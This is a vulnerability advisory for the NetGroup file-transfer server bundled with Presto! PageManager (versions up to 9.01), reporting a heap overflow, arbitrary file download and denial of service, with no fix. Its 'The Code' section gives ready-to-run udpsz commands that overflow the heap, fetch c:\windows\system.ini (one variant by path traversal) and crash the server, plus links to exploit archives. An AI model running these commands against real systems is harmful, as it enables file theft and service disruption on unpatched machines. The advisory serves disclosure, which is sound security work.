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Luigi Auriemma
Application: Presto! PageManager
http://www.newsoftinc.com/products/product_page.php?P_Id=5
Versions: <= 9.01
Platforms: Windows, MacOSX
Bugs: A] Heap-overflow
B] Arbitray files downloading
C] Denial of Service
Exploitation: remote
Date: 14 Mar 2012
Author: Luigi Auriemma
e-mail: aluigi@autistici.org
web: aluigi.org
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1) Introduction
2) Bugs
3) The Code
4) Fix
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1) Introduction
===============
Presto! PageManager is a management software for scanners and it's
provided by default also by some hardware vendors (like Epson).
It's bundled with a (manual) server program called NetGroup for remote
files transfer:
"The Network Group function helps you exchange files with your group
members. Everyone in the working group should have Presto! PageManager
running."
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2) Bugs
=======
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A] Heap-overflow
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Buffer overflow on port 2502 while copying of the message string into a
small heap buffer:
004151BE |. 33C0 XOR EAX,EAX
004151C0 |. F2:AE REPNE SCAS BYTE PTR ES:[EDI] ; strlen
004151C2 |. F7D1 NOT ECX
004151C4 |. 2BF9 SUB EDI,ECX
004151C6 |. 6A FF PUSH -1
004151C8 |. 8BC1 MOV EAX,ECX
004151CA |. 8BF7 MOV ESI,EDI
004151CC |. 8BFA MOV EDI,EDX
004151CE |. C1E9 02 SHR ECX,2 ; heap overflow
004151D1 |. F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
004151D3 |. 8BC8 MOV ECX,EAX
004151D5 |. 83E1 03 AND ECX,3
004151D8 |. F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
004151DA |. 8D4C24 14 LEA ECX,DWORD PTR SS:[ESP+14]
004151DE |. E8 1B370000 CALL <JMP.&MFC42.#5572>
004151E3 |. 8B5424 10 MOV EDX,DWORD PTR SS:[ESP+10]
004151E7 |. 8D4C24 2C LEA ECX,DWORD PTR SS:[ESP+2C]
004151EB |. 51 PUSH ECX
004151EC |. 52 PUSH EDX
004151ED |. E8 56350000 CALL <JMP.&PMCommon._GetFileExtName>
004151F2 |. BE 94014200 MOV ESI,NetGroup.00420194 ; ASCII ".NSOFT"
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B] Arbitray files downloading
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The software allows downloading any file.
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C] Denial of Service
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Just a simple (auto)termination caused by the impossibility of
allocating the amount of memory specified by the client.
There is also a "division by zero" when specifying a file size of 0
bytes.
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3) The Code
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http://aluigi.org/testz/udpsz.zip
http://www.exploit-db.com/sploits/18600.zip
A]
udpsz -T -C "00000100 ffff0200" 0 -b a -C "00 00 1000000000000000 00" -1 SERVER 2502 8+0x02ffff
just a quick test, exist better ways that show code execution
B]
udpsz -D -3 -T -c "\x00\x00\x01\x00\x15\x00\x00\x00myblah\0file\0\x01" 0 -c "\x00\x00\x02\x00\x00\x01\x00\x00c:\\windows\\system.ini" 0x1d -C "00002000 00000000" -1 SERVER 2502 8+0x15+8+0x100+8
or
udpsz -D -3 -T -c "\x00\x00\x01\x00\x15\x00\x00\x00myblah\0file\0\x01" 0 -c "\x00\x00\x02\x00\x00\x01\x00\x00../../../../windows/system.ini" 0x1d -C "00002000 00000000" -1 SERVER 2502 8+0x15+8+0x100+8
C]
udpsz -T -C "00010000 ffffffff" SERVER 2501 -1
or
udpsz -T -C "00000100 ffffffff" SERVER 2502 -1
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4) Fix
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No fix.
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